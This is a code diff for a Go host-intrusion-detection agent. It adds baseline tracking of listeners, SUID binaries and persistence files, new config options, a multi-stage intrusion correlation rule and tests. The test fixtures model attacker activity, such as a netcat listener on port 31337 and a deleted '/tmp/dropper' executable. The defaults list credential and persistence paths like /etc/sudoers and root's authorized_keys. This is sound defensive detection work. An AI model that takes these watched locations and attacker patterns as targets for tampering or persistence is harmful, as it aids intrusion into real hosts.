len(events) != 2 { + t.Fatalf("unexpected lifecycle result: calls=%d events=%#v", calls, events) + } + alert := events[0]["alert"].(model.Alert) + if alert.Signature != "new_listener" || alert.Key != "lis:31337/nc" { + t.Fatalf("unexpected alert: %#v", alert) + } +} + +func TestInitializeIsIdempotent(t *testing.T) { + cfg := config.Default() + cfg.LogDir = t.TempDir() + calls := 0 + runner := New(cfg, func() (model.State, error) { + calls++ + return model.State{}, nil + }) + runner.Lifecycle = baseline.New(cfg, func() []string { return nil }) + if err := runner.Initialize(); err != nil { + t.Fatal(err) + } + if err := runner.Initialize(); err != nil { + t.Fatal(err) + } + if calls != 1 { + t.Fatalf("initial capture count=%d, want 1", calls) + } +} + func TestDisabledDetectorEmitsStatusOnly(t *testing.T) { cfg := config.Default() cfg.Detectors = map[string]bool{} @@ -55,6 +117,68 @@ func TestDisabledDetectorEmitsStatusOnly(t *testing.T) { } } +func TestSweepAppliesPerKeyCooldown(t *testing.T) { + cfg := config.Default() + cfg.Cooldown = 60 * time.Second + runner := New(cfg, func() (model.State, error) { + return model.State{Processes: []model.Process{{ + PID: 42, Comm: "dropper", Exe: "/tmp/dropper (deleted)", + }}}, nil + }) + now := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC) + runner.Now = func() time.Time { return now } + first, err := runner.Sweep() + if err != nil { + t.Fatal(err) + } + now = now.Add(30 * time.Second) + second, err := runner.Sweep() + if err != nil { + t.Fatal(err) + } + now = now.Add(31 * time.Second) + third, err := runner.Sweep() + if err != nil { + t.Fatal(err) + } + if len(first) != 2 || len(second) != 1 || len(third) != 2 { + t.Fatalf("cooldown output mismatch: %d %d %d", len(first), len(second), len(third)) + } +} + +func TestAsyncAlertsShareCooldownAndStatusReportsProbeState(t *testing.T) { + cfg := config.Default() + cfg.Cooldown = time.Minute + runner := New(cfg, func() (model.State, error) { return model.State{}, nil }) + runner.Host = func() (string, error) { return "host-a", nil } + now := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC) + runner.Now = func() time.Time { return now } + runner.SetExecProbeStatus("enabled") + runner.SetSyscallProbeStatus("disabled (test)") + alert := model.Alert{SID: 100001, Key: "exec:100001:42"} + + first, err := runner.AlertEvents([]model.Alert{alert}) + if err != nil { + t.Fatal(err) + } + now = now.Add(30 * time.Second) + second, err := runner.AlertEvents([]model.Alert{alert}) + if err != nil { + t.Fatal(err) + } + sweep, err := runner.Sweep() + if err != nil { + t.Fatal(err) + } + status := sweep[0]["status"].(schema.Status) + if len(first) != 1 || len(second) != 0 { + t.Fatalf("async cooldown mismatch: first=%d second=%d", len(first), len(second)) + } + if status.EBPF != "enabled" || status.EBPFExec != "enabled" || status.EBPFSyscall != "disabled (test)" { + t.Fatalf("unexpected probe status: %#v", status) + } +} + func TestSweepPreservesPythonDetectorOrder(t *testing.T) { agent := New(config.Default(), func() (model.State, error) { return model.State{ diff --git a/go-agent/internal/baseline/manager.go b/go-agent/internal/baseline/manager.go new file mode 100644 index 0000000..21d2c92 --- /dev/null +++ b/go-agent/internal/baseline/manager.go @@ -0,0 +1,298 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +// Package baseline owns the state that makes baseline-diff detectors useful +// outside the deterministic parity fixture. It deliberately stops short of +// forensic alert snapshots; bounded envelope retention belongs to eventlog. +package baseline + +import ( + "encoding/json" + "fmt" + "io/fs" + "os" + "path/filepath" + "sort" + "strings" + "sync" + "time" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +const firstSeenSchema = "enodia.first_seen.v1" + +// CaptureFunc and ScanSUIDFunc keep host collection injectable. Unit tests can +// exercise the full lifecycle without reading the real /proc or filesystem. +type CaptureFunc func() (model.State, error) +type ScanSUIDFunc func() []string + +type firstSeenStore struct { + Schema string `json:"schema"` + Initialized bool `json:"initialized"` + PublicDestinations map[string][]string `json:"public_destinations"` + ListenerPorts map[string][]string `json:"listener_ports"` +} + +// Manager decorates each captured State with the previous-sweep and durable +// baseline views expected by Python's four baseline detectors. +type Manager struct { + Config config.Config + Now func() time.Time + ScanSUID ScanSUIDFunc + + mu sync.Mutex + initialized bool + started time.Time + lastPersistScan time.Time + lastSUIDScan time.Time + lastSUIDRefresh time.Time + suidScanRunning bool + listenerBaseline []string + suidBaseline []string + suidCurrent []string + firstSeen firstSeenStore +} + +func New(cfg config.Config, scanSUID ScanSUIDFunc) *Manager { + return &Manager{Config: cfg, Now: time.Now, ScanSUID: scanSUID} +} + +// Initialize snapshots startup listeners and privileged files. As in Python, +// startup state becomes the baseline; stored listener/SUID files are operator +// artifacts, not inputs reloaded on daemon restart. +func (m *Manager) Initialize(capture CaptureFunc) error { + if capture == nil { + return fmt.Errorf("baseline capture is required") + } + started := m.Now() + state, err := capture() + if err != nil { + return err + } + listeners := listenerKeys(state.Sockets) + var suid []string + if m.ScanSUID != nil { + suid = sortedUnique(m.ScanSUID()) + } + if err := os.MkdirAll(m.Config.LogDir, 0o750); err != nil { + return err + } + if err := writeJSONAtomic(filepath.Join(m.Config.LogDir, "listener-baseline.json"), listeners); err != nil { + return err + } + if err := writeJSONAtomic(filepath.Join(m.Config.LogDir, "suid-baseline.json"), suid); err != nil { + return err + } + firstSeen := loadFirstSeen(filepath.Join(m.Config.LogDir, "first-seen.json")) + + m.mu.Lock() + defer m.mu.Unlock() + m.initialized = true + m.started = started + m.lastPersistScan = started + m.lastSUIDRefresh = started + m.listenerBaseline = listeners + m.suidBaseline = suid + m.suidCurrent = nil + m.firstSeen = firstSeen + return nil +} + +// Prepare injects baseline state immediately before detectors run. During the +// grace window every baseline detector stays inert, matching the registry-wide +// listener_baseline gate in Python. +func (m *Manager) Prepare(state *model.State, now time.Time) error { + if state == nil { + return fmt.Errorf("baseline state is required") + } + m.mu.Lock() + if !m.initialized { + m.mu.Unlock() + return fmt.Errorf("baseline manager is not initialized") + } + armed := now.Sub(m.started) >= m.Config.BaselineGrace + if !armed { + state.ListenerBaseline = nil + state.SUIDBaseline = nil + state.SUIDBinaries = nil + state.PersistSince = nil + state.PersistenceFiles = nil + state.FirstSeenPublicDestinations = nil + state.FirstSeenListenerPorts = nil + m.mu.Unlock() + return nil + } + + state.ListenerBaseline = append([]string(nil), m.listenerBaseline...) + state.SUIDBaseline = append([]string(nil), m.suidBaseline...) + if m.suidCurrent != nil { + state.SUIDBinaries = append([]string(nil), m.suidCurrent...) + } + since := float64(m.lastPersistScan.UnixNano()) / float64(time.Second) + state.PersistSince = &since + state.FirstSeenInitialized = m.firstSeen.Initialized + state.FirstSeenPublicDestinations = cloneStringMap(m.firstSeen.PublicDestinations) + state.FirstSeenListenerPorts = cloneStringMap(m.firstSeen.ListenerPorts) + m.maybeStartSUIDScanLocked(now) + m.mu.Unlock() + + // Filesystem walking can be slower than copying the small durable stores, + // but it is bounded to explicitly configured persistence roots and remains + // fail-open per entry. + state.PersistenceFiles = collectPersistenceFiles(m.Config.WatchPersistence) + return nil +} + +// Commit advances the previous-sweep timestamp only after detection and saves +// first-seen additions atomically. This ordering prevents changes observed in +// the current sweep from being skipped by the next one. +func (m *Manager) Commit(state model.State, now time.Time) error { + m.mu.Lock() + defer m.mu.Unlock() + if !m.initialized { + return fmt.Errorf("baseline manager is not initialized") + } + m.lastPersistScan = now + if now.Sub(m.started) < m.Config.BaselineGrace || !m.Config.Enabled("first_seen") { + return nil + } + m.firstSeen = firstSeenStore{ + Schema: firstSeenSchema, + Initialized: true, + PublicDestinations: cloneStringMap(state.FirstSeenPublicDestinations), + ListenerPorts: cloneStringMap(state.FirstSeenListenerPorts), + } + return writeJSONAtomic(filepath.Join(m.Config.LogDir, "first-seen.json"), m.firstSeen) +} + +func (m *Manager) maybeStartSUIDScanLocked(now time.Time) { + if m.ScanSUID == nil || m.suidScanRunning || + (!m.lastSUIDScan.IsZero() && now.Sub(m.lastSUIDScan) < m.Config.SUIDScanInterval) { + return + } + m.lastSUIDScan = now + m.suidScanRunning = true + go func() { + result := sortedUnique(m.ScanSUID()) + finished := m.Now() + m.mu.Lock() + defer m.mu.Unlock() + m.suidCurrent = result + m.suidScanRunning = false + if finished.Sub(m.lastSUIDRefresh) < m.Config.SUIDRefresh { + return + } + // Periodic folding matches Python: a legitimately installed privileged + // binary eventually becomes baseline instead of alerting forever. + m.suidBaseline = append([]string(nil), result...) + m.lastSUIDRefresh = finished + _ = writeJSONAtomic(filepath.Join(m.Config.LogDir, "suid-baseline.json"), result) + }() +} + +func listenerKeys(sockets []model.Socket) []string { + keys := make([]string, 0) + for _, socket := range sockets { + if socket.State != "LISTEN" { + continue + } + port := socket.Local + if index := strings.LastIndex(socket.Local, ":"); index >= 0 { + port = socket.Local[index+1:] + } + comm := socket.Comm + if comm == "" { + comm = "?" + } + keys = append(keys, port+"/"+comm) + } + return sortedUnique(keys) +} + +func collectPersistenceFiles(roots []string) map[string]float64 { + result := make(map[string]float64) + for _, root := range roots { + info, err := os.Lstat(root) + if err != nil { + continue + } + if !info.IsDir() { + result[root] = float64(info.ModTime().UnixNano()) / float64(time.Second) + continue + } + _ = filepath.WalkDir(root, func(path string, entry fs.DirEntry, err error) error { + if err != nil { + return nil + } + if entry.IsDir() { + return nil + } + info, err := os.Lstat(path) + if err == nil { + result[path] = float64(info.ModTime().UnixNano()) / float64(time.Second) + } + return nil + }) + } + return result +} + +func loadFirstSeen(path string) firstSeenStore { + store := firstSeenStore{ + Schema: firstSeenSchema, PublicDestinations: map[string][]string{}, + ListenerPorts: map[string][]string{}, + } + raw, err := os.ReadFile(path) + if err != nil || json.Unmarshal(raw, &store) != nil { + return firstSeenStore{ + Schema: firstSeenSchema, PublicDestinations: map[string][]string{}, + ListenerPorts: map[string][]string{}, + } + } + store.Schema = firstSeenSchema + if store.PublicDestinations == nil { + store.PublicDestinations = map[string][]string{} + } + if store.ListenerPorts == nil { + store.ListenerPorts = map[string][]string{} + } + return store +} + +func writeJSONAtomic(path string, value any) error { + raw, err := json.MarshalIndent(value, "", " ") + if err != nil { + return err + } + raw = append(raw, '\n') + temporary := path + ".tmp" + if err := os.WriteFile(temporary, raw, 0o640); err != nil { + return err + } + if err := os.Rename(temporary, path); err != nil { + return err + } + return os.Chmod(path, 0o640) +} + +func cloneStringMap(source map[string][]string) map[string][]string { + result := make(map[string][]string, len(source)) + for key, values := range source { + result[key] = append([]string(nil), values...) + } + return result +} + +func sortedUnique(values []string) []string { + seen := make(map[string]bool, len(values)) + result := make([]string, 0, len(values)) + for _, value := range values { + if !seen[value] { + seen[value] = true + result = append(result, value) + } + } + sort.Strings(result) + return result +} diff --git a/go-agent/internal/baseline/manager_test.go b/go-agent/internal/baseline/manager_test.go new file mode 100644 index 0000000..db2b884 --- /dev/null +++ b/go-agent/internal/baseline/manager_test.go @@ -0,0 +1,97 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package baseline + +import ( + "encoding/json" + "os" + "path/filepath" + "testing" + "time" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +func TestManagerGraceAndDurableFirstSeenLifecycle(t *testing.T) { + directory := t.TempDir() + watched := filepath.Join(directory, "cron-entry") + if err := os.WriteFile(watched, []byte("job"), 0o600); err != nil { + t.Fatal(err) + } + start := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC) + now := start + cfg := config.Default() + cfg.LogDir = directory + cfg.BaselineGrace = 10 * time.Second + cfg.WatchPersistence = []string{watched} + manager := New(cfg, func() []string { return []string{"/usr/bin/sudo"} }) + manager.Now = func() time.Time { return now } + p := 42 + capture := func() (model.State, error) { + return model.State{Sockets: []model.Socket{{ + State: "LISTEN", Local: "[::]:22", Comm: "sshd", PID: &p, + }}}, nil + } + if err := manager.Initialize(capture); err != nil { + t.Fatal(err) + } + + now = start.Add(5 * time.Second) + state := model.State{} + if err := manager.Prepare(&state, now); err != nil { + t.Fatal(err) + } + if state.ListenerBaseline != nil || state.PersistSince != nil { + t.Fatalf("baseline detectors armed during grace: %#v", state) + } + if err := manager.Commit(state, now); err != nil { + t.Fatal(err) + } + + now = start.Add(11 * time.Second) + state = model.State{} + if err := manager.Prepare(&state, now); err != nil { + t.Fatal(err) + } + if len(state.ListenerBaseline) != 1 || state.ListenerBaseline[0] != "22/sshd" { + t.Fatalf("unexpected listener baseline: %#v", state.ListenerBaseline) + } + if state.PersistSince == nil || *state.PersistSince != float64(start.Add(5*time.Second).Unix()) { + t.Fatalf("unexpected persistence boundary: %#v", state.PersistSince) + } + state.FirstSeenPublicDestinations["bash"] = []string{"8.8.8.8:443"} + state.FirstSeenListenerPorts["nc"] = []string{"31337"} + if err := manager.Commit(state, now); err != nil { + t.Fatal(err) + } + + raw, err := os.ReadFile(filepath.Join(directory, "first-seen.json")) + if err != nil { + t.Fatal(err) + } + var stored firstSeenStore + if err := json.Unmarshal(raw, &stored); err != nil { + t.Fatal(err) + } + if !stored.Initialized || stored.PublicDestinations["bash"][0] != "8.8.8.8:443" { + t.Fatalf("unexpected first-seen store: %#v", stored) + } + for _, name := range []string{"listener-baseline.json", "suid-baseline.json"} { + if _, err := os.Stat(filepath.Join(directory, name)); err != nil { + t.Fatalf("missing %s: %v", name, err) + } + } +} + +func TestLoadFirstSeenFailsOpenOnCorruptStore(t *testing.T) { + path := filepath.Join(t.TempDir(), "first-seen.json") + if err := os.WriteFile(path, []byte("{"), 0o600); err != nil { + t.Fatal(err) + } + store := loadFirstSeen(path) + if store.Initialized || store.Schema != firstSeenSchema || + store.PublicDestinations == nil || store.ListenerPorts == nil { + t.Fatalf("unexpected fallback: %#v", store) + } +} diff --git a/go-agent/internal/config/config.go b/go-agent/internal/config/config.go index 76531e7..56ffefa 100644 --- a/go-agent/internal/config/config.go +++ b/go-agent/internal/config/config.go @@ -53,18 +53,33 @@ var defaultMemoryObfuscationAllowComms = []string{ // Config mirrors the Phase 1 settings consumed by the Go sweep loop. More // fields are added as their detectors are ported. type Config struct { - SampleInterval time.Duration - HeartbeatMaxAge int - Detectors map[string]bool - InputSnooperAllowComms map[string]bool - CredentialAccessAllowComms map[string]bool - CredentialAccessExtraPaths []string - Interpreters map[string]bool - EgressAllowCIDRs []string - StealthNetworkAllowComms map[string]bool - StealthNetworkAllowKinds map[string]bool - MemoryObfuscationAllowComms map[string]bool - MemoryObfuscationAllowPaths []string + SampleInterval time.Duration + Cooldown time.Duration + BaselineGrace time.Duration + SUIDRefresh time.Duration + SUIDScanInterval time.Duration + HeartbeatMaxAge int + MaxSnapshots int + MaxSnapshotAgeDays int + Detectors map[string]bool + InputSnooperAllowComms map[string]bool + CredentialAccessAllowComms map[string]bool + CredentialAccessExtraPaths []string + Interpreters map[string]bool + EgressAllowCIDRs []string + ListenerAllowPorts map[string]bool + ListenerAllowComms map[string]bool + SuppressPackageOwnedListeners bool + FirstSeenEnabled bool + SUIDHotDirs []string + SUIDScanExtraDirs []string + WatchPersistence []string + StealthNetworkAllowComms map[string]bool + StealthNetworkAllowKinds map[string]bool + MemoryObfuscationAllowComms map[string]bool + MemoryObfuscationAllowPaths []string + ExecRulesFile string + LogDir string } // Default returns Python-compatible defaults for the fields currently used. @@ -74,23 +89,46 @@ func Default() Config { detectors[name] = true } return Config{ - SampleInterval: 4 * time.Second, - HeartbeatMaxAge: 120, - Detectors: detectors, - InputSnooperAllowComms: stringSet(defaultInputSnooperAllowComms), - CredentialAccessAllowComms: stringSet(defaultCredentialAccessAllowComms), - CredentialAccessExtraPaths: []string{}, - Interpreters: stringSet(defaultInterpreters), - EgressAllowCIDRs: []string{}, + SampleInterval: 4 * time.Second, + Cooldown: 60 * time.Second, + BaselineGrace: 10 * time.Second, + SUIDRefresh: time.Hour, + SUIDScanInterval: time.Minute, + HeartbeatMaxAge: 120, + MaxSnapshots: 300, + MaxSnapshotAgeDays: 60, + Detectors: detectors, + InputSnooperAllowComms: stringSet(defaultInputSnooperAllowComms), + CredentialAccessAllowComms: stringSet(defaultCredentialAccessAllowComms), + CredentialAccessExtraPaths: []string{}, + Interpreters: stringSet(defaultInterpreters), + EgressAllowCIDRs: []string{}, + ListenerAllowPorts: map[string]bool{}, + ListenerAllowComms: map[string]bool{}, + SuppressPackageOwnedListeners: false, + FirstSeenEnabled: true, + SUIDHotDirs: []string{"/tmp", "/dev/shm", "/var/tmp", "/home", "/run/user"}, + SUIDScanExtraDirs: []string{"/tmp", "/dev/shm", "/var/tmp", "/run/user"}, + WatchPersistence: []string{ + "/etc/cron.d", "/etc/crontab", "/etc/cron.daily", "/etc/cron.hourly", + "/etc/cron.weekly", "/var/spool/cron", "/etc/systemd/system", + "/etc/ld.so.preload", "/etc/passwd", "/etc/sudoers", "/etc/sudoers.d", + "/root/.ssh/authorized_keys", "/root/.bashrc", "/root/.profile", + }, StealthNetworkAllowComms: stringSet(defaultStealthNetworkAllowComms), StealthNetworkAllowKinds: map[string]bool{}, MemoryObfuscationAllowComms: stringSet(defaultMemoryObfuscationAllowComms), MemoryObfuscationAllowPaths: []string{}, + ExecRulesFile: "", + LogDir: envOrDefault("ENODIA_LOG_DIR", "/var/log/enodia-sentinel"), } } // Enabled reports whether a detector is enabled by configuration. func (c Config) Enabled(name string) bool { + if name == "first_seen" && !c.FirstSeenEnabled { + return false + } return c.Detectors[name] } @@ -124,12 +162,48 @@ func Load(path string) (Config, error) { return Config{}, fmt.Errorf("sample_interval must be positive: %q", value) } cfg.SampleInterval = time.Duration(seconds * float64(time.Second)) + case "cooldown": + duration, err := nonNegativeSeconds(value) + if err != nil { + return Config{}, fmt.Errorf("cooldown: %w", err) + } + cfg.Cooldown = duration + case "baseline_grace": + duration, err := nonNegativeSeconds(value) + if err != nil { + return Config{}, fmt.Errorf("baseline_grace: %w", err) + } + cfg.BaselineGrace = duration + case "suid_refresh": + duration, err := positiveSeconds(value) + if err != nil { + return Config{}, fmt.Errorf("suid_refresh: %w", err) + } + cfg.SUIDRefresh = duration + case "suid_scan_interval": + duration, err := positiveSeconds(value) + if err != nil { + return Config{}, fmt.Errorf("suid_scan_interval: %w", err) + } + cfg.SUIDScanInterval = duration case "heartbeat_max_age": age, err := strconv.Atoi(value) if err != nil || age < 0 { return Config{}, fmt.Errorf("heartbeat_max_age must be non-negative: %q", value) } cfg.HeartbeatMaxAge = age + case "max_snapshots": + count, err := strconv.Atoi(value) + if err != nil || count < 0 { + return Config{}, fmt.Errorf("max_snapshots must be non-negative: %q", value) + } + cfg.MaxSnapshots = count + case "max_snapshot_age_days": + days, err := strconv.Atoi(value) + if err != nil || days < 0 { + return Config{}, fmt.Errorf("max_snapshot_age_days must be non-negative: %q", value) + } + cfg.MaxSnapshotAgeDays = days case "detectors": names, err := stringArray(value) if err != nil { @@ -171,6 +245,48 @@ func Load(path string) (Config, error) { return Config{}, fmt.Errorf("egress_allow_cidrs: %w", err) } cfg.EgressAllowCIDRs = cidrs + case "listener_allow_ports": + ports, err := stringArray(value) + if err != nil { + return Config{}, fmt.Errorf("listener_allow_ports: %w", err) + } + cfg.ListenerAllowPorts = stringSet(ports) + case "listener_allow_comms": + comms, err := stringArray(value) + if err != nil { + return Config{}, fmt.Errorf("listener_allow_comms: %w", err) + } + cfg.ListenerAllowComms = stringSet(comms) + case "suppress_package_owned_listeners": + enabled, err := boolean(value) + if err != nil { + return Config{}, fmt.Errorf("suppress_package_owned_listeners: %w", err) + } + cfg.SuppressPackageOwnedListeners = enabled + case "first_seen_enabled": + enabled, err := boolean(value) + if err != nil { + return Config{}, fmt.Errorf("first_seen_enabled: %w", err) + } + cfg.FirstSeenEnabled = enabled + case "suid_hot_dirs": + dirs, err := stringArray(value) + if err != nil { + return Config{}, fmt.Errorf("suid_hot_dirs: %w", err) + } + cfg.SUIDHotDirs = dirs + case "suid_scan_extra_dirs": + dirs, err := stringArray(value) + if err != nil { + return Config{}, fmt.Errorf("suid_scan_extra_dirs: %w", err) + } + cfg.SUIDScanExtraDirs = dirs + case "watch_persistence": + paths, err := stringArray(value) + if err != nil { + return Config{}, fmt.Errorf("watch_persistence: %w", err) + } + cfg.WatchPersistence = paths case "stealth_network_allow_comms": names, err := stringArray(value) if err != nil { @@ -195,11 +311,57 @@ func Load(path string) (Config, error) { return Config{}, fmt.Errorf("memory_obfuscation_allow_paths: %w", err) } cfg.MemoryObfuscationAllowPaths = paths + case "exec_rules_file": + path, err := strconv.Unquote(value) + if err != nil { + return Config{}, fmt.Errorf("exec_rules_file must be a string: %q", value) + } + cfg.ExecRulesFile = path + case "log_dir": + path, err := strconv.Unquote(value) + if err != nil || path == "" { + return Config{}, fmt.Errorf("log_dir must be a non-empty string: %q", value) + } + cfg.LogDir = path } } return cfg, nil } +func envOrDefault(name, fallback string) string { + if value := os.Getenv(name); value != "" { + return value + } + return fallback +} + +func positiveSeconds(value string) (time.Duration, error) { + seconds, err := strconv.ParseFloat(value, 64) + if err != nil || seconds <= 0 { + return 0, fmt.Errorf("must be positive: %q", value) + } + return time.Duration(seconds * float64(time.Second)), nil +} + +func nonNegativeSeconds(value string) (time.Duration, error) { + seconds, err := strconv.ParseFloat(value, 64) + if err != nil || seconds < 0 { + return 0, fmt.Errorf("must be non-negative: %q", value) + } + return time.Duration(seconds * float64(time.Second)), nil +} + +func boolean(value string) (bool, error) { + switch value { + case "true": + return true, nil + case "false": + return false, nil + default: + return false, fmt.Errorf("must be true or false: %q", value) + } +} + func stringSet(values []string) map[string]bool { result := make(map[string]bool, len(values)) for _, value := range values { diff --git a/go-agent/internal/config/config_test.go b/go-agent/internal/config/config_test.go index aee8248..73a16db 100644 --- a/go-agent/internal/config/config_test.go +++ b/go-agent/internal/config/config_test.go @@ -11,7 +11,11 @@ import ( func TestDefaultsMatchPython(t *testing.T) { cfg := Default() - if cfg.SampleInterval != 4*time.Second || cfg.HeartbeatMaxAge != 120 { + if cfg.SampleInterval != 4*time.Second || cfg.Cooldown != 60*time.Second || + cfg.BaselineGrace != 10*time.Second || + cfg.SUIDRefresh != time.Hour || cfg.SUIDScanInterval != time.Minute || + cfg.HeartbeatMaxAge != 120 || cfg.MaxSnapshots != 300 || + cfg.MaxSnapshotAgeDays != 60 || !cfg.FirstSeenEnabled { t.Fatalf("unexpected defaults: %+v", cfg) } if !cfg.Enabled("deleted_exe") { @@ -23,7 +27,13 @@ func TestLoadFlatTOMLAndMultilineDetectorArray(t *testing.T) { path := filepath.Join(t.TempDir(), "sentinel.toml") raw := []byte(` sample_interval = 1.5 # seconds +cooldown = 30 +baseline_grace = 2.5 +suid_refresh = 120 +suid_scan_interval = 15 heartbeat_max_age = 45 +max_snapshots = 25 +max_snapshot_age_days = 7 detectors = [ "deleted_exe", "egress", @@ -33,10 +43,18 @@ credential_access_allow_comms = ["firefox"] credential_access_extra_paths = ["/srv/secrets/"] interpreters = ["bash", "python3"] egress_allow_cidrs = ["203.0.113.0/24"] +listener_allow_ports = ["22"] +listener_allow_comms = ["syncthing"] +suppress_package_owned_listeners = true +first_seen_enabled = false +suid_hot_dirs = ["/tmp"] +suid_scan_extra_dirs = ["/dev/shm"] +watch_persistence = ["/etc/cron.d"] stealth_network_allow_comms = ["tcpdump"] stealth_network_allow_kinds = ["mptcp"] memory_obfuscation_allow_comms = ["jit-runtime"] memory_obfuscation_allow_paths = ["/tmp/known-profiler/"] +exec_rules_file = "/etc/enodia-extra-rules.toml" unknown_future_key = true `) if err := os.WriteFile(path, raw, 0o600); err != nil { @@ -46,7 +64,10 @@ unknown_future_key = true if err != nil { t.Fatal(err) } - if cfg.SampleInterval != 1500*time.Millisecond || cfg.HeartbeatMaxAge != 45 { + if cfg.SampleInterval != 1500*time.Millisecond || cfg.Cooldown != 30*time.Second || + cfg.BaselineGrace != 2500*time.Millisecond || + cfg.SUIDRefresh != 2*time.Minute || cfg.SUIDScanInterval != 15*time.Second || + cfg.HeartbeatMaxAge != 45 || cfg.MaxSnapshots != 25 || cfg.MaxSnapshotAgeDays != 7 { t.Fatalf("unexpected parsed config: %+v", cfg) } if !cfg.Enabled("deleted_exe") || !cfg.Enabled("egress") || cfg.Enabled("reverse_shell") { @@ -62,12 +83,19 @@ unknown_future_key = true if !cfg.Interpreters["bash"] || len(cfg.EgressAllowCIDRs) != 1 { t.Fatalf("unexpected network tuning: %#v %#v", cfg.Interpreters, cfg.EgressAllowCIDRs) } + if !cfg.ListenerAllowPorts["22"] || !cfg.ListenerAllowComms["syncthing"] || + !cfg.SuppressPackageOwnedListeners || cfg.FirstSeenEnabled || cfg.Enabled("first_seen") || + len(cfg.SUIDHotDirs) != 1 || len(cfg.SUIDScanExtraDirs) != 1 || + len(cfg.WatchPersistence) != 1 { + t.Fatalf("unexpected baseline tuning: %+v", cfg) + } if !cfg.StealthNetworkAllowComms["tcpdump"] || !cfg.StealthNetworkAllowKinds["mptcp"] { t.Fatalf("unexpected stealth tuning: %#v %#v", cfg.StealthNetworkAllowComms, cfg.StealthNetworkAllowKinds) } if !cfg.MemoryObfuscationAllowComms["jit-runtime"] || len(cfg.MemoryObfuscationAllowPaths) != 1 || - cfg.MemoryObfuscationAllowPaths[0] != "/tmp/known-profiler/" { + cfg.MemoryObfuscationAllowPaths[0] != "/tmp/known-profiler/" || + cfg.ExecRulesFile != "/etc/enodia-extra-rules.toml" { t.Fatalf("unexpected memory tuning: %#v %#v", cfg.MemoryObfuscationAllowComms, cfg.MemoryObfuscationAllowPaths) } diff --git a/go-agent/internal/correlation/correlation.go b/go-agent/internal/correlation/correlation.go new file mode 100644 index 0000000..3966a83 --- /dev/null +++ b/go-agent/internal/correlation/correlation.go @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +// Package correlation adds higher-confidence stories without hiding or +// replacing their raw alerts. It is transport- and persistence-independent. +package correlation + +import "sort" + +const SIDMultiStageIntrusion = 100080 + +type Incident struct { + FirstTimestamp float64 `json:"first_ts"` + LastTimestamp float64 `json:"last_ts"` + Signatures []string `json:"signatures"` +} + +type Record struct { + SID int `json:"sid"` + Signature string `json:"signature"` + Classtype string `json:"classtype"` + Severity string `json:"severity"` + Summary string `json:"summary"` + WindowSeconds int `json:"window_seconds"` + MatchedSignatures []string `json:"matched_signatures"` +} + +type Rule struct { + SID int + Signature string + Classtype string + Severity string + Summary string + RequiredAny []map[string]bool + MaxWindow int +} + +var DefaultRules = []Rule{{ + SID: SIDMultiStageIntrusion, Signature: "correlation.multi_stage_intrusion", + Classtype: "multi-stage-intrusion", Severity: "CRITICAL", + Summary: "Web/database service spawned a shell and the same incident showed " + + "suspicious egress or an unusual listener within the correlation window", + RequiredAny: []map[string]bool{ + {"exec_rule.web-rce": true}, + {"host_rule.suspicious-egress": true, "host_rule.suspicious-listener": true}, + }, + MaxWindow: 600, +}} + +func Correlate(incident Incident, rules []Rule) []Record { + if rules == nil { + rules = DefaultRules + } + signatures := make(map[string]bool, len(incident.Signatures)) + for _, signature := range incident.Signatures { + signatures[signature] = true + } + duration := incident.LastTimestamp - incident.FirstTimestamp + result := make([]Record, 0) + for _, rule := range rules { + if duration > float64(rule.MaxWindow) { + continue + } + matched := true + for _, choices := range rule.RequiredAny { + found := false + for choice := range choices { + if signatures[choice] { + found = true + break + } + } + if !found { + matched = false + break + } + } + if !matched { + continue + } + matchedSignatures := make([]string, 0, len(signatures)) + for signature := range signatures { + matchedSignatures = append(matchedSignatures, signature) + } + sort.Strings(matchedSignatures) + result = append(result, Record{ + SID: rule.SID, Signature: rule.Signature, Classtype: rule.Classtype, + Severity: rule.Severity, Summary: rule.Summary, + WindowSeconds: rule.MaxWindow, MatchedSignatures: matchedSignatures, + }) + } + return result +} diff --git a/go-agent/internal/correlation/correlation_test.go b/go-agent/internal/correlation/correlation_test.go new file mode 100644 index 0000000..9ac2d8e --- /dev/null +++ b/go-agent/internal/correlation/correlation_test.go @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package correlation + +import ( + "reflect" + "testing" +) + +func TestCorrelateMultiStageIntrusion(t *testing.T) { + records := Correlate(Incident{ + FirstTimestamp: 1000, LastTimestamp: 1050, + Signatures: []string{"host_rule.suspicious-egress", "exec_rule.web-rce"}, + }, nil) + if len(records) != 1 || records[0].SID != SIDMultiStageIntrusion || + !reflect.DeepEqual(records[0].MatchedSignatures, + []string{"exec_rule.web-rce", "host_rule.suspicious-egress"}) { + t.Fatalf("unexpected correlation: %#v", records) + } + if records := Correlate(Incident{ + FirstTimestamp: 1000, LastTimestamp: 1601, + Signatures: []string{"exec_rule.web-rce", "host_rule.suspicious-listener"}, + }, nil); len(records) != 0 { + t.Fatalf("expired incident correlated: %#v", records) + } +} + +func TestLineageAssignAndSeverity(t *testing.T) { + parents := map[int]int{42: 20, 20: 10, 10: 1} + lineage := LineageOf([]int{42}, func(pid int) int { return parents[pid] }, 8) + if !lineage[42] || !lineage[20] || !lineage[10] || lineage[1] { + t.Fatalf("unexpected lineage: %#v", lineage) + } + index := []IndexIncident{ + {ID: "old", Host: "h", LastTimestamp: 1010, Lineage: []int{20}}, + {ID: "new", Host: "h", LastTimestamp: 1020, Lineage: []int{10}}, + } + if got := Assign(index, lineage, 1030, "h", 60); got != "new" { + t.Fatalf("unexpected assignment: %s", got) + } + if MaxSeverity("HIGH", "CRITICAL") != "CRITICAL" || MaxSeverity("unknown", "MEDIUM") != "MEDIUM" { + t.Fatal("severity ordering drifted") + } +} diff --git a/go-agent/internal/correlation/incident.go b/go-agent/internal/correlation/incident.go new file mode 100644 index 0000000..b1c7b9d --- /dev/null +++ b/go-agent/internal/correlation/incident.go @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package correlation + +// LineageOf walks each starting PID through parentOf, excluding pid 0/init so +// unrelated process trees never 